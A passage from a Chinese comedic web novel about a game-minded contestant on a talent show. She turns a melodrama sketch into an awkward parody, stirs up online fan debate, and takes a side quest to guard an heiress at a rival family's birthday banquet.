林月打开朝晖粉丝的话题，呜呜呜哭了半天：“啊啊啊啊啊我的宝宝真的好努力！我好心疼！！我平时加班但至少有双休啊！！摸摸鱼也能拿到工资啊！！可她除了练习就是拍摄，肯定没什么休息时间！！”
秀粉本来就是妈粉居多，顿时就围在一块哭成一片。
还有人喊到：“她这么努力，实力又强，又漂亮，为什么不能当第一？我女就要冲第一！！”
林月觉得她说得太对了！！
朝晖粉丝们在话题下各种团建，愈发坚定了自己支持自家宝贝的决心；其他人看到这段剪辑，也难免有所动容。
毕竟，剪辑师是一种很厉害的生物，精心选取的视频素材片段，配合恰到好处的切镜头、bgm，就能达成令人惊讶的效果。
弹幕出现了不少“大家都很努力啊。”“这个选秀的选手们真的都不错。”的言论。
就在这时，林月忽然被其她粉丝朋友疯狂私聊。
“姐妹，快去看，节目播了新内容，朝晖要演改编版《霹雳雨》里面的小凤！！！”
“啊……？”
林月觉得“朝晖”“霹雳雨”“小凤”这几个词放在一起，怎么听怎么奇怪。
她一头雾水地打开节目，正好看见朝晖随手选完了人，在练习室内公然睡觉那一幕。
林月：……
弹幕：……
裴韫在后期的要求下，补录了一段采访，勉强为她挽尊：“朝晖平时练习很刻苦，这个……有时候忽然困了就会睡一会儿。”
弹幕上还有cp粉在发疯：“朝晖第一个选裴韫，和裴韫单独一个练习室，还是室友，还有之前提到的语焉不详的额头疤……姐妹们冲啊，明天/朝云就超过红白，立刻美帝*！！！”
随后，练习室内的“抢角色大战”也被放出，裴韫在众人围攻之下，一时嘴笨没能辩过敌人，不得不眼含热泪地“承担作为副组长的责任”，接下了“二少爷”的角色。
慕青饰演大少爷，钱朵朵饰演老妈，徐燕妮饰演小海，周小满饰演小繁。
余烬客串“老爷”的角色。
当然，表面上，他是随机抽签到这一组的。
另外四名导师中，两名比较年轻的导师，也就是rap、舞蹈导师，则分别在其他两个小组客串。年长的歌后影帝二人则是作为评委。
节目播完，朝晖刚刚消退一些的热度再次扶摇直上，她个人的搜索量比整个节目组其他几乎所有选手加起来还要多，带着三个词条住在了文娱类热搜上，连顶流余烬的风头都一时被她盖过。
这是为什么呢？
众所周知，一个完美的人其实并不会多么有人气。
最能引起大众关注的，永远是“有争议”的话题。
本期节目，可谓是爆点满满，一看就知道导演和剪辑师是老滑头了。
一开始，朝晖满脸无辜又无比嚣张地说出“我一定会成为第一名！”，不仅引起了数家粉丝大战、路人吃瓜围观，还勾起不少人自发探讨起社会话题：“在学习工作中，究竟是应该谦虚谨慎还是大胆竞争？”
随后的催泪向剪辑，又点出“朝晖不是无缘无故的嚣张，她有这个实力
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，也付出了同样的努力。”
且剪辑中能看出，其实选手们和朝晖的关系并不差（？），甚至不少人受她影响，变得更努力了！
观众们的心情一波三折，复杂难言。
就好像，夹了一块臭豆腐，咬了一口发现是坏掉的，再品一品发现没坏还有点香，咽下去之后又拉肚子了……
粉丝们更是被虐到，只觉自家女儿是全天下最好的宝贝！！
你们节目组给她恶剪、利用她博热度，其心可诛！！
她们刚喊完话，节目组又放出即将上演“小剧场”的内容，三幕话剧都狗血又沙雕，非常引人期待。
然后，她们就看到朝晖在练习室安然入睡。
朝晖粉丝和吃瓜群众纷纷沉默了。
旁边的小组成员们叽叽喳喳地辩论着“哎呀这个大少爷正适合你！！”“我不会演戏，戏份这么多的角色我真的演不来啊！”“你是副组长，正适合承担如此重任！”
声音可不小！
朝晖浑然未觉，在瑜伽垫上睡得像头猪。
一时间，霹雳霹雳网站上的朝晖相关吐槽投稿又一次爆发式增长，有理中客质疑“这是故意炒作吗？”也有心理学家逐帧分析朝晖到底是不是真的奇葩。
这不就是节目组想要的流量吗？
用朝晖引流的效果比想象中更好，他们也不用担心朝晖失去控制，因为这么一个黑料缠身的人是不可能高位出道的。
初期流量吸到后，再减少朝晖的镜头，多捧捧其他人就可以了。
*
朝晖拿着剧本，站在练习室中，一脸茫然。
“这是第一次公演舞台之前最后的娱乐了，好好享受吧！”余烬道。
朝晖一觉睡到了他下班时间，余烬觉得很欣慰，说了两句客气话就连忙开溜，“你们也早点休息，别练到太晚，明天一整天都可以排练。”
“好的pd！”练习生们礼貌地送走了他。
然后齐刷刷看向朝晖。
不知道为什么，比起余烬，她们好像觉得朝晖更有压迫力一点。
没见pd看到朝晖的时候，那眼神也十分地一言难尽吗？
这整齐一致的表情，朝晖觉得很熟悉，就是小妹静候老大发话的神情。
玩家挠挠头，发表了睡醒后第一次重要讲话：“系统，演话剧演不好不会影响主线任务吧？”
竖着耳朵仔细听，却只听见“阿巴巴乌鲁鲁”的练习生们：“…………”
系统：“……这个，一般来说，您只需要保证顺利完成演出和录制，应该就没问题了。这是个娱乐向的节目，不会影响您的排名，但演得好可以吸粉，可能会影响到后期的投票。”
朝晖点点头，系统分析得很合理。
她拿起剧本再次看了一眼，只觉满屏都是“亲爱的，你要相信，我此生挚爱唯有你！”“我们是两情相悦的！”“他和他的继母有一腿！”“你妈妈和我爸爸以前是相好！”“你们是同母异父的亲兄妹啊～～！”
可谓是天雷与狗血齐飞，别说演了，光是把台词念出来，都很考验脚趾头的功力。
“呵，既然是主线任务，那我也不得不认真对待了！”
朝晖双手叉腰，霸气满满道：“我看啊，这剧本还算不上真正的狗血！要演就演个大的，来我把剧本改一改，你们先等等，改好了我叫你们。”
裴韫两眼一黑：“！？”
52. 寰天娱乐（8）
第二天晚上，小剧场录制正式开始！
由于选秀目前还没有开始淘汰，九十多名选手共聚一堂。
这个轻松的小剧场结束后，她们就会开始第一次公开演出——小组对决的练习和录制，随之而来的便是第一次投票淘汰，进行96进60的排名公布。
对于那些目前人气排序在60开外的选手来说，她们很可能在节目组内留不到两周时间。
好巧不巧，参与小剧场的人员中，除了朝晖《霹雳雨》组内的慕青、周小满，其他选手目前排名都在60以内，甚至绝大部分都是前三十、前二十的高位选手。
所以，台下围观的选手们很多都是一轮游，大家聚集在一块儿，吃吃喝喝、聊聊天，有人拿了拍立得和小相机互相拍照、合影留念。
也不是开摆，就是……自己能不能火，其实大部分人心里还是有数的。
比起伤春悲秋，还不如趁此机会和美女姐妹们多留下点美好回忆呢！
于是，正式开拍前，选手们在大厅齐聚一堂，诸华清、盛绫儿身边都围满了人，相机“咔擦”的声音不绝于耳。
就连裴韫，也被人缘不错的周小满拉着，四处合照。
朝晖蹲在台阶上神游，身周方圆三米之内空无一人，仿佛拥有一堵空气墙。
余烬带头和四位导师走进大厅时，看见的就是这么一幕。
她眼神放空，对周围环境浑不在意。
但如此熙熙攘攘的大厅中，她仍是最显眼的那个。
余烬的脚步停顿了一下。
他礼貌地和选手们打招呼，又跟导演组对接、跟导师们寒暄完，并告诉选手不用管他们，继续拍她们的。
毕竟距离开始录制还有一段时间，摄像师们都在调设备。
然后，他就迈着两条长腿，以绝对的海拔优势跨越所有人，走到她旁边的台阶上坐下来。
“你们的排练准备好了？”他问。
朝晖从发呆状态回归，侧头看见是重要npc，就点点头：“嗯啊，我们改了剧本，不过你还是按照你的来就行。”
其实原版当中老爷、小繁等人戏份反而更多，但毕竟是改编，余烬客串的内容很少。
“噢，改剧本没问题，节目组那边是支持的。”余烬道。
朝晖“嗯”了声，仔细盯着他看了两秒，见他不说话了，就把头转过去继续开始发呆。
她早发现了，余烬根本榨不出支线任务，不必在他身上花时间。
余烬：……
周围是一片繁忙的热闹，朝晖却独自一人蹲在小角落里，其她人全都选择无视她。
余烬本来觉得，这很正常。
趋利避害乃人之本能。就朝晖这种人，远离她才是保平安啊！
但亲眼看见刚才的一幕，心中也不是没有触动。
最开始，他在没见过朝晖的情况下就选择帮助她，是因为联想到了自己。
有人问他：“你有强大的异能，为什么要去娱乐圈这种地方？”
“像你这样的能力，去污染区不是更能够发挥自己的实力吗？”
语气中是满满的不屑。
异能者圈子看不起他，普通的娱乐圈艺人也因为他是异能者，公司虽压榨他却也捧他，业内消息灵通的人更是不会得罪他，由此显得“很有后台”，而与他格格不入。
余烬想，我只是因为小时候不懂事，向往闪闪发光的舞台，就稀里糊涂地签了娱乐公司的合约而已啊。
直到现在，他还是热爱着在舞台上、在聚光灯下表演的感觉。
他刚刚觉醒异能的时候，安全局的制度还不完善，他的父母把他托付给一家企业，所以他算是私人旗下的异能者。
那家企业和万世娱乐有一定关系，他也是这样兜兜转转到了如今地步。
所以看见朝晖坚持想要参加选秀，他才脑子一热，给她摆平了麻烦。
他还以为，他们会是相似的两个人。
当年，没有人帮助他。
假如现在的他选择帮助朝晖，她是不是能走得顺畅一些？
至于后来……
呃，不用提了。
你到底在想什么呢？
余烬一直侧头盯着朝晖，不知不觉就把这句话问出了口。
他个高腿长，坐在低矮的大厅台阶上，便愈发显得束手束脚，凭空生出一股可怜劲儿。
朝晖耳朵动了动，再次扭过头。
你别说，近距离看着余烬，就会情不自禁地感慨，他不愧是能站乙游海报C位的男人。
这种视觉冲击力，比气质更加分的经纪人、婴儿肥都没消完的小李弟弟强多了！
要是在现实中遇见如此长相之人，她哪怕出于礼貌，也不会盯着对方看太久的。
但这不是个游戏吗？
于是朝晖就托着腮，歪着头，把余烬都盯得顶不住了，不得不先移开目光。
“哎，游戏美工是真的不错啊。”她内心道。
系统：……
原本，它已经放弃让玩家做恋爱线的心了，此刻却发现了玩家对于美色的动摇，不死心地想要趁热打铁：“亲爱的玩家，虽然现在剧情线有了一定变化，但只要您稍微认真一点，攻略他不在话下！！”
“只要将恋爱线的剧情稍微推进一下，就可以享受刺激的暧昧和甜甜的恋爱了！”
余烬对朝晖的好感度依旧是负数，但是这个好感度评判的标准，其实是比较片面化的。
它考量的是男主对女主的“心动程度”，主要通过一些外在表现、神态变化来评判。
系统又不可能读男主的心。
余烬现在看似对朝晖避之不及，可在朝晖一通误打误撞的骚操作下，他内心其实对玩家的观感并不是太差。
随便换个资深乙游玩家过来，恐怕都只需略施小计，就能把他给拿下了！
朝晖摇头：“帅哥看看就好，毕竟谁也不知道他会在什么时候忽然来一句爹系发言给我创死。”
余烬确实是很帅没错，其实她刚才都看呆了。
但，乙游又不是就没有爹系发言了，游戏文案组里说不定不少男的呢！
余烬：“……你是在想这个吗？”
这句话没有屏蔽词，余烬听得一清二楚。
一时间，他的心情复杂难言。
世界上没有帅而不自知的人，余烬当然知道自己长得很好看，朝晖也丝毫没有掩饰自己表情的意思，她刚刚眼中透出的全是欣赏。
但那个眼神……
不是颜控粉丝看向他的痴迷，也不是女艺人们或大方或羞涩的喜爱。
而是一种纯粹的、看向美丽艺术品的欣赏。
仿佛参观展览的游客，在画作前驻足凝望，然后微笑
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着离开。
画作很美，她收获了一天的好心情，这就够了。
至于这幅画有何寓意，如何被创作，后续会落入谁手……她全无兴趣。
毕竟，展览中作品无数，这世上的艺术品又千千万万，她只是个游客罢了，又怎会驻足于此呢。
朝晖似乎想说什么，但是导演组忽然喊了两句“准备开始录制”！
于是她再没看余烬一眼，蹦跶着起身走了。
余烬怔在原地。
“pd，pd！”舞蹈导师忙过来喊他，“要开始了！”
“噢，马上，不好意思。”
他来到台前，担任主持人的角色。朝晖乖乖按照安排坐在自己的座位上。
其实，仔细一想，她看起来经常搞事，但每次重要录制都是准时参加、每个环节都听从安排。
一个小小的话剧节目，她还特地亲自改了剧本……
“接下来进行表演的是朝晖组的《霹雳雨》！由我们的pd余烬友情客串，大家掌声欢迎！！”影帝导师接过主持人的角色。
“哦哦哦哦哦哦！！！”
台下顿时掌声雷动！
其实这组成员，总体上人气不太高。
但说实话，看朝晖表演，真的还蛮期待的啊……
吃瓜乐子人谁不爱当呢？
何况，还有余烬客串，这么帅的pd多看一眼就赚一眼，挺好。
练习生们纷纷两眼放光。
朝晖淡定地打头走上台去，落落大方地调整话筒，倒是她身后的一票人略显拘谨，尤其是裴韫，不仅有点儿发抖，走路都开始同手同脚了。
一排人站在一块，朝晖真是特别特别显眼，这不仅仅因为她外表出众、身材高挑，更由于她整体透露出的气质。
悠然自在，不急不慢，不夸张的说，整个舞台上几乎只能注意到她一个人，每个人的目光都会被她吸引，被她的一举一动所牵动。
“大家好，接下来我们小组将为大家带来改编版《霹雳雨》。”
她说完后，回头看了一眼，于是小妹们轮流报出自己饰演的角色。
倒是没什么意外，都比较符合人物的形象。
余烬的“老爷”角色，大部分时间处于“观战席”，旁听其他人进行狗血撕x。
他只需要在中途说几句台词就行，所以就坐在了后方放置的道具椅子上，像模像样地拿了个手杖，扮演背景板。
朝晖见流程走完，就悠悠从口袋中掏出一个皱皱巴巴的破麻袋，铺展开来套在身上。
紧接着，她的表情戏剧性地一变，皱得像个苦瓜，然后掐着嗓子、弯着腰，一边模拟“扫地”的动作，一边抬手抹着眼泪：“我是一个清纯、善良、可爱的女孩儿，我的名字叫小凤，我家庭贫穷，不得不来到周家当女仆。”
“每天，他们在三万多平方公里的大床上里醒来，坐加长林肯去上厕所，而这打扫地板、换床单的工作全是我在干！没办法，打工人就是这么命苦，看在工资的份上我只能忍了！”
慕青适时跳出来，摆出一副鼻孔朝天、趾高气昂的神色：“呵，这个该死的女人，又跑到哪里去了？可恶，短短五分钟没见，我竟然有点想她，这到底是为什么！”
余烬：？
台下观众：？？？
等等，你们在干什么，这真的是《霹雳雨》吗！？
53. 寰天娱乐（9）
当朝晖念出她改好的剧本时，慕青的笑容逐渐猖狂：“我去，还能这么演……？感觉好有意思！”
朝晖顿时激动地拉住了她的手：“是吧是吧！”
另外几人：……
所以此时在台上，慕青把台词背得流畅自然，与朝晖执手相看泪眼：“女人，我是来带你走的！”
“什么，我们要去哪里？”朝晖“泪眼朦胧”地抬头，攥紧了破麻袋的下摆。
“我们的父母不会支持这份感情，我们私奔吧！”慕青道。
说完，她俩的台词也结束了，下一段是周小满饰演的小繁出场。
其实裴韫让出小繁的角色，误打误撞之下竟然还撞大运了。朝晖改了剧本后，小繁的戏份增加了不少。
周小满还能怎么办呢？只能是把新台词好好背下来。
为了符合角色，周小满特地在腰上系了一条长布条伪装成长裙，又拿了一把扇子半遮住脸。
她深吸一口气，眼一闭，一睁，视死如归地、扭着腰翘着兰花指冲了上来——
“大少爷！”她声情并茂、愤怒地冲到慕青面前，“你最终，还是选择了她吗？”
“太太。”朝晖震惊地后退两步，“您，您……怎么来了？”
周小满并不搭理她，她感觉自己豁出去之后，戏精附体的状态上身，别说，还挺过瘾的……
周小满用看绝世渣男的眼神望着慕青，把她看得都有点愧疚了：“我告诉你，这个家里，你最对不起的人就是我！”
还没等她抖出更多大瓜，饰演二少爷的裴韫、饰演小海的徐燕妮纷纷出场。
小海深恨少爷一家，保护妹妹；二少爷比较单纯，一边给小凤表白一边和稀泥，总之就是一片混乱。
在一段段“我爱你你爱他他爱她她又爱他”的关系之中，钱朵朵给pd使了个眼色。
余烬：“……”
他不禁低头看了一眼自己的剧本，深深怀疑自己的耳朵和眼睛。
……他真的能接上戏吗？
钱朵朵率先跳出来，叉着腰道：“你们这个家庭真是一群寡廉鲜耻之辈！”
余烬总也不能拆台吧？
他只好拿起手杖、站起身，弱弱地开始念台词：“你来这里干什么？你有什么目的！”
“我是来揭露你伪善、恶毒的真面目的！”钱朵朵义正严辞道。
“妈！”朝晖扑到钱朵朵身边。
“爸！”慕青满脸坚定，“你不能阻止……”
她说到这里，剧情就应该是余烬打断她，但余烬毕竟没参与白天的排练，不知怎么的有点发呆，一时没接住戏。
周小满急中生智，一巴掌拍到慕青身上：“你这个逆子！”
好在余烬也终于是反应过来，轮到他的戏份了。
这也不能怪他，前面的剧情说改吧，倒也没有改太多，就是加了各种各样尬翻天际的狗血台词，这实在是……
“唉，算了，我今天来到这里是要宣布一件重要的事情。”余烬已经放弃治疗，开始棒读：“儿……咳咳，大少爷你过来，没错，这就是你妈妈，我们以前因为一个错误生下了你和小海，他是你的亲弟弟，小凤是你同母的妹妹，你不要因此觉得难过、丢脸，要把她当做亲妹妹一样好好照顾！”
余烬念完这一段，“老爷”这个角色后续其实就没太多戏份了。
没想到，周小满忽然戏精附体，仰天长叹：“啊！作孽啊！”
余烬：？
“老爷，没想到你竟然做过如此伤天害理之事，让一个可怜的女子没名没分地跟你生了两个孩子，你们父子俩个真是蛇鼠一窝！”周小满哭天抢地，对着观众、用扇子半遮住脸，“事到如今我也不瞒着你了，你的大儿子引诱我这个继母，二儿子其实也并非你的血脉！”
观众：？？？
余烬：“……啊？”
裴韫一脸崩溃：“什么？这是真的吗妈妈！”
“呵，不然呢？你这个老男人，我跟你在一起，是图你年纪大还是图你不洗澡？”周小满哭哭啼啼。
大少爷慕青还沉浸在他和小凤有情人终成兄妹的震撼悲愤之中。
朝晖忽然握住拳头，大声道：“太太，这些男人只会伤害你的心，没想到这背后的故事如此坎坷，既然如此，我也不愿意再隐瞒下去了！”
“从来到这里的第一天起，我就被您的美貌所深深震惊，您的笑容治愈了我，让我在艰苦的打工生活中多了一丝温暖……我答应大少爷的追求也不过只是为了接近您，我从来都不敢把这份感情泄露出一丝一毫，太太，我对您的感情才是真实的呀！”
“噗——”
余烬自以为自己打拼多年，忍耐力超群，结果还是没绷住。
周小满其实已经知道剧情，但看见朝晖如此深情（？）地望着自己，她还是……脚趾蜷缩。
好尴尬好尴尬好尴尬啊啊啊啊啊——
朝晖不管不顾，一边“嘤嘤”哭着，一边跑下台去。
裴韫连忙跟上她：“等等啊小凤，你既然喜欢我妈，是不是可以考虑一下我——”
旁白悠悠道：“小凤在一个雷电交加的夜晚跑出去，不慎触电而死，二少爷也因此而死，最后大少爷承受不住这个打击，自杀了，一家人疯的疯死的死，悲剧落下帷幕……”
屏幕前，观众林月恰好看到此处。
林月：……
朝晖花两小时随手改出来的这个恶搞剧本，其实并没有特别搞笑。
但是它特别特别地令人尴尬……
尬到多看一眼，就觉得无法控制体内的洪荒之力了！！
脚趾已经自动扣出了一栋城堡！！！
朝晖！！你为什么！！要这样对待你的粉丝！！
但朝晖在乎吗？
朝晖不在乎。
她看到台下观众满脸被创飞的表情，觉得非常快乐！
“谢谢大家，我们的表演结束啦！！”朝晖满面笑容。
她笑起来真的很有感染力，青春活泼。
明明好好演就可以了，明明靠脸靠实力都可以吃饭了，为什么要做出这么奇葩的行为呢？
粉丝到底要怎么溺爱啊！！
粉丝和路人一样，都被创得无语凝噎。
果然，这期节目播完，霹雳霹雳网站上的吐槽区已经容不下朝晖了。
鬼畜区张开大门，以最热烈的掌声欢迎她的到来！
短视频网站、小绿书、大眼、植乎……
“朝晖”俨然成为了流量密码，二创作品成群涌现，在如此之大的流量冲击下，粉丝的声音消失得无影无踪，路人看戏占据最大的声量。
有骂她不尊重原著的，也有骂她脑子有病的，但大家共同的认知，就是这应该不是节目组故意在黑她。
想传播她的黑料，你也得先有料再黑啊！
朝晖不是无辜的，她就是自己有病！
短短一段《霹雳雨》，传播度极广，朝晖成功刷了一波脸，其他几位参演成员也吃到了红利。
余烬没忍住笑喷的一幕被疯狂截图，裴韫“我是谁我在哪我在干什么”的尴尬神情、徐燕妮“我还是死了算了”的生无可恋、慕青“呵，女人”的中二台词……都被做成了表情包。
一篇“忽然有点怜爱她的组员”文章发布，迅速获得大量点赞。
“朝晖选人你们也看见了，压根就是瞎选的，排练时她还在睡觉，把事情都推给队友。”
“她说要改剧本，组员们也不敢反对啊，只能同意；演的时候虽然尴尬，但都好好地演完了，我觉得台词方面说得没什么问题，都背得很好。”
“刚去查了一下，几位小透明都不容易，唯一排名前十的徐燕妮，也不是那种张扬的性格。最惨的是她的室友裴韫，一看就是很内向胆子不大的人啊，跟她住一间寝室当牛做马，我们这些观众看几期节目都受不了了，她俩天天呆在一块，是
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我我早就疯了！”
此文一出，评论又吵翻了天。
理性人说：“但她们蹭到了流量也是不争的事实吧？我刚去看了眼排名，裴韫涨了5万粉。”
裴韫的粉丝原本也就不到十万，其中水分还不少，这新涨的五万却几乎全是实打实的，是被吸引过去看她的资料、信息然后决定支持她的粉丝。
这些新粉丝也很给力，她们很多原本都没关注这档选秀，实名的投票权都还在，于是把裴韫直接投进了前20！！
慕青、周小满、钱朵朵、徐燕妮的排名也都各有上涨，涨幅相当不小。
也有人反驳：“她们也不是故意的啊，就像公司让你996，不然就辞退你，你确实是认真工作留下来了，还涨了点工资，但你开心吗？”
这么说也有道理。
于是事情又上升到了社会生活角度，大家开始讨论“假如你有一个奇葩组长，带你小组飞了，但你每天要忍受常人不能忍之苦，你愿意吗？”
朝晖这名字，算是初步“破圈”，在如今这个人人高强度网上冲浪的年代，不知道的话你就过时了。
余烬在节目播出后看了看反响，陷入了沉思。
朝晖这家伙……
和观众视角不同，他知道朝晖压根就不在意他人评价。
她做出各种奇葩行为，根本就是自己乐在其中！！
朝晖看起来对选秀非常重视，但选秀本身似乎并不让她觉得多有乐趣。
她的确努力地练习、参加录制，但只有在“搞事”的时候，她才会露出真心实意的笑容。
她肯定也不在意节目组拿她引战炒作。
黑红体质，是最容易火的。只要她保证唱歌跳舞、颜值水平不下降，余烬几乎已经能看见朝晖的光明未来。
正思索着，余烬接到了电话。
他虽然是万世娱乐旗下的艺人，但是异能者合约却隶属于另一家公司，所以在需要的时候，他得以类似于“打手”的身份去帮点忙。
大部分异能者干的不就这事儿么。
那家公司老板对他倒是很客气，除了重要场合会带他当保镖之外，很少找他。
说实话，带余烬当保镖，不仅满足了安全需求，还可以满足脸面需求，一举多得，老板觉得划算极了。
“一场非常非常重要的宴会！！”
老板的声音难得没能保持稳重，“我很幸运地拿到了一份邀请，听说两位女皇都将到场……”
由于身份原因，余烬对于政治是有一定敏锐度的。
他在记忆里翻了翻，想到一个名字：“姬越？”
传闻中，姬越是“红皇后”的第七个孩子。
红皇后本人以及她的孩子们大都隐于人前，非常低调。但姬越是个例外，他很小的时候就传出许多美名。
因为他是异能者。
白皇后的孩子没有异能者，红皇后的孩子却出了一个，听说他的异能还非常强大，这不得拿出来遛一遛炫耀一下？
有时候，上位者们也会有点幼稚的。
没记错的话，姬越今年应该是二十岁，生日在即，他的成年礼将会无比盛大。
老板没有直接回答他，而是神秘地卖了个关子。
但从他的态度来看，八九不离十了。
余烬默默道：“我这边还有录制，你让我的经纪人和节目组协商吧，记得以前把时间安排告诉我，到时候见。”
老板说：“我已经让他去做了，节目组那边都好说。但我有另一件事告诉你。”
“？”
“你们节目组，还有另一个人跟你请了同一天同一个时间的假……”
老板的声音神秘兮兮的，“我跟你们节目组里有位策划能扯上点交情，这件事是她透露给我的。”
“这场宴会不比寻常，虽然规模大，但受邀者可都不是阿猫阿狗。回来之后你一定要看看这个人是谁，你们俩最好能交个朋友。”
54. 寰天娱乐（10）
余烬：“……”
节目组里有什么人，他还能不知道吗？
老板说的这个请假的人，该不会是朝晖吧……
*
录完小剧场，第二天就马不停蹄地开始了第一轮正式比赛——小组赛的录制。
备选歌曲一共六首，三首偏舞蹈、两首偏唱歌、一首偏rap，每首分为两个小组，各自进行对决。
选曲则是根据目前排名顺序，靠前者先选。
朝晖第三个选，在这种情况下，除非前两名都选了同一首歌，否则她是可以任选的。
诸华清和盛绫儿当然不会傻到去选同一首歌，变成对手，所以朝晖就选了自己觉得比较好听的一首。
刚选完，就撞见了等候在外的伊尔莎。
经纪人现在算是被她拉到了同一条船上，姜瑶在知道朝晖伙同经纪人干的事儿后，就把与“白皇后”一方联络的部分重任交给了卫文谨。
毕竟，她还有安全局的诸多工作要完成，不可能天天去管朝晖的事，
所以，即使卫文谨明面上依旧是寰天娱乐的员工，但他早已变成了二五仔的形状。
卫文谨收到姚秘书的联络，说有一份很轻松的任务交给朝晖。
“带她去吃吃喝喝，工资很高哦。”姚秘书这么说道。
卫文谨：你看我像是相信的样子吗？
但以他的消息渠道，暂时还不能得知“姬越的生日宴会”这种层次的消息。
姜局长曾表示“没有大事不需要联系她”，所以卫文谨就直接给伊尔莎打电话，叫她问问朝晖要不要接这个“任务”。
“叮！您触发了支线任务：【财阀少爷的家宴】。
宴会上有许多不怀好意之人，作为正义的异能者，请保护好殷永宁吧！
任务奖励：经验x200，金钱x50000（请联系殷一获取）。”
朝晖：！！！
没想到，大佬的委托真的可以触发系统支线任务啊！！
这还不接？！
朝晖立刻就选择接下任务。
后续，当然就是卫文谨给她请假，节目组也是没什么好拦着的，爽快地批了。
于是，朝晖在姚秘书的要求下，提前离开录制地点，来到市内一处高级公寓楼。
进入装修豪华的五百平顶层双层公寓内，她看见一票熟悉的配置：一大堆化妆师造型师。
殷一还是穿得很休闲，在客厅冲她挥手：“来啦？”
她的大女儿和儿子不在，陪着她的只有小女儿。
朝晖这才得知，大佬不会去参加宴会，要去的只有这位小女儿殷永宁。
“你们俩去吃吃喝喝就行。”殷一笑眯眯道，“去选一套衣服吧。”
造型师准备了许多精致华美的裙子，每一件都是最顶级的奢侈品牌最难借出的新款式，能让参加典礼的明星们抢破头。
它们此刻却被随意地挂在衣架上，挤挤挨挨，任由朝晖挑选。
殷永宁不穿这些牌子，她的裙子是私人定制的，是低调的大小姐风格。
但临时再给朝晖做一件，来不及也没必要。
何况朝晖刚好是艺人，穿得漂亮点也好，她才特意让品牌送了合适的裙子过来。
一同到来的还有各品牌的设计师，只要朝晖选中一件，她们就能在一个小时内把裙子改成最适合朝晖的尺寸。
“去吃吃喝喝穿什么裙子？有没有宽松点舒服点的？”朝晖说。
造型师团队的组长笑容不变，从一大堆衣服里挑出一件看似平平无奇的小白裙：“这件XXDD牌春季新品可以满足您的需求，它力求展现出您休闲的个人风格以及……”
朝晖摇头：“白色不耐脏。”
吃东西的时候，最忌讳穿白色，万一溅了点饮料、辣椒油上去，不好收拾啊！
造型师并不知道朝晖在想什么，立刻又翻找出一件黑裙：“这件YYUU牌呢？它参考了哥特风格的设计，但整体比较简洁修身，搭配靴子很合适……”
这是一件看起来是丝绒质地的黑裙子，短袖、短裙，有几个镶钻蝴蝶结作为点缀。裙摆设计得很巧妙，稍微露出一点后背，增添成熟感。
朝晖穿上觉得很舒服，腰也不勒，短袖不怕吃饭沾到东西，胳膊也好活动，就拍板是它了。
殷一交代完事情就走了，留下无助的殷永宁——她这段时间，可是没少补朝晖资料的！
但怎么说呢，这也算是一种来自母亲的考验吧……
抱着这样的心态，殷永宁坐回沙发，静静旁观朝晖做造型。
过程非常简单快速。
造型师们把朝晖拉到椅子前坐下，一通摆弄后，朝晖莫名其妙地就变好看了点。
整个时间不超过半个小时。
短发发尾卷了一下，皮肤稍微打了个底，眼妆花了点时间。毕竟是参加生日宴会，严格来讲她还只是保镖身份，妆容也不宜过浓。
造型师和设计师对视一眼，情不自禁道：“朝小姐有兴趣的话，我们可以把你推荐给YYUU品牌方……”
朝晖目前只是个小练习生，但她最近名头还挺大。
谁能想到，她的后台竟然是白皇后！
哪怕YYUU也是有百年历史的老牌奢侈品牌，能和白皇后搭上点关系，他们也肯定也相当乐意。
更不用说，朝晖本身的个人条件也非常优秀。
朝小姐表示自己很好说话：“代言？钱多吗？”
造型师：“……蛮多的。”
“好啊，你去联系我经纪人吧，到时候签合约再叫我。”朝晖兴高采烈道。
在她看来，这种细枝末节的事项，万能的npc会帮她搞定，她只要做做任务拿拿钱就好。
全程，朝晖的态度都极为自然，惊喜有之，却不傲慢，更多的却是理所当然，且没有去看殷永宁的眼色。
殷永宁在造型师看过来的时候笑道：“一个代言，当然没问题，你们自己去协商就好。”
仿佛能让朝晖代言这个牌子，是她们对品牌的赏赐。
朝晖的脸实在没什么好夸的了，总之淡妆浓抹总相宜，随便画画都好看。造型师给她配了靴子、外套和小包，包里可以放手机，还挺方便。
一辆低调的车将二人拉到了……一座城堡。
这是城堡吧！！？？
“红云酒店，是她们家的产业之一。”殷永宁道。
她穿着毛呢外套和裙子，披一件毛绒绒的长款大衣，早春的晚风带来一丝沁骨的寒冷，她在安保的护卫下离开汽车，短靴踏在地板上，发出清脆的“哒哒”声。
朝晖裹了件同样毛绒绒的外套，和她的裙子差不多长，露出一截腿，一点儿也不嫌冷。
她跟在殷永宁身后，探头探脑、四下张望，配上那张巴掌大的漂亮脸蛋，压根没有一点保镖、助理的样子。
更像是殷永宁的女伴。
任务要求是保护殷永宁的安全，不让她受到任何伤害。
朝晖觉得并不是很难，毕竟她可以读档。
护送npc的任务很常规，一般危险的来源根本不是危险的怪物，而是哇哇乱跑的npc本人好吗！
所以朝晖的初步打算是跟着殷永宁，寸步不离。
“好漂亮的酒店。”她开心地四下张望。
虽然很想去摸摸大门口旁边精致又阔气的石雕，但她最终还是选择紧跟殷永宁。
“没什么人，是我们来太早了吗？”朝晖问。
解锁了新场景，还是这么漂亮的地方，她还是很兴奋的，话也挺多。
然而下车以来，四周除了一些高大沉默的西装保安，以及一个客客气气的引路npc，就再没有别的人，宽敞的走廊内空荡荡的，灯光孤独地亮着，少了那么点宴会氛围。
在朝晖的想象中，游戏里的宴会场景应该会多做点穿着华丽的npc才对吧？
殷永宁道：“我们走的是私人通道，等会儿先去休息室跟主人家打个招呼，再进入会场。”
“这样啊。”
朝晖对这种豪门宴会没有一点认知度，所以只是乖乖地点头：“话说，你们不是跟红皇后是老对头吗，怎么还来参加她们的宴会？”
“……生意上是对手，又不是就不做朋友了。”殷永宁无奈，“姬、殷两家还有婚约呢……”
啊这。
倒也不是很意外？
朝晖已经被科普了“今天的宴会是姬家小少爷的生日宴”，于是兴致勃勃道：“所以今天那位少爷是你的未婚夫咯？”
“……那怎么可能啊！！我怎么会去联姻？”殷永宁抚着额头，“是旁系有婚约。”
朝晖又被科普了新知识：殷永宁是白皇后的亲女儿，她不可能随随便便结婚，甚至结不结婚都是个未知数呢。
白皇后、红皇后俩人就都没结婚。
联姻的则是红皇后、白皇后各自七大姨八大姑家里的亲戚的小辈。
聊着聊着，
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她们也抵达了休息室，朝晖又得知了新情报：红皇后只会在生日宴开场出现那么一下下，紧接着小少爷会发表一段“欢迎大家赏脸参加”的讲话，然后宾客们就可以愉快地开始各自的社交，认识点新朋友、发展发展关系啥的。
“永宁！”
“姬越！”
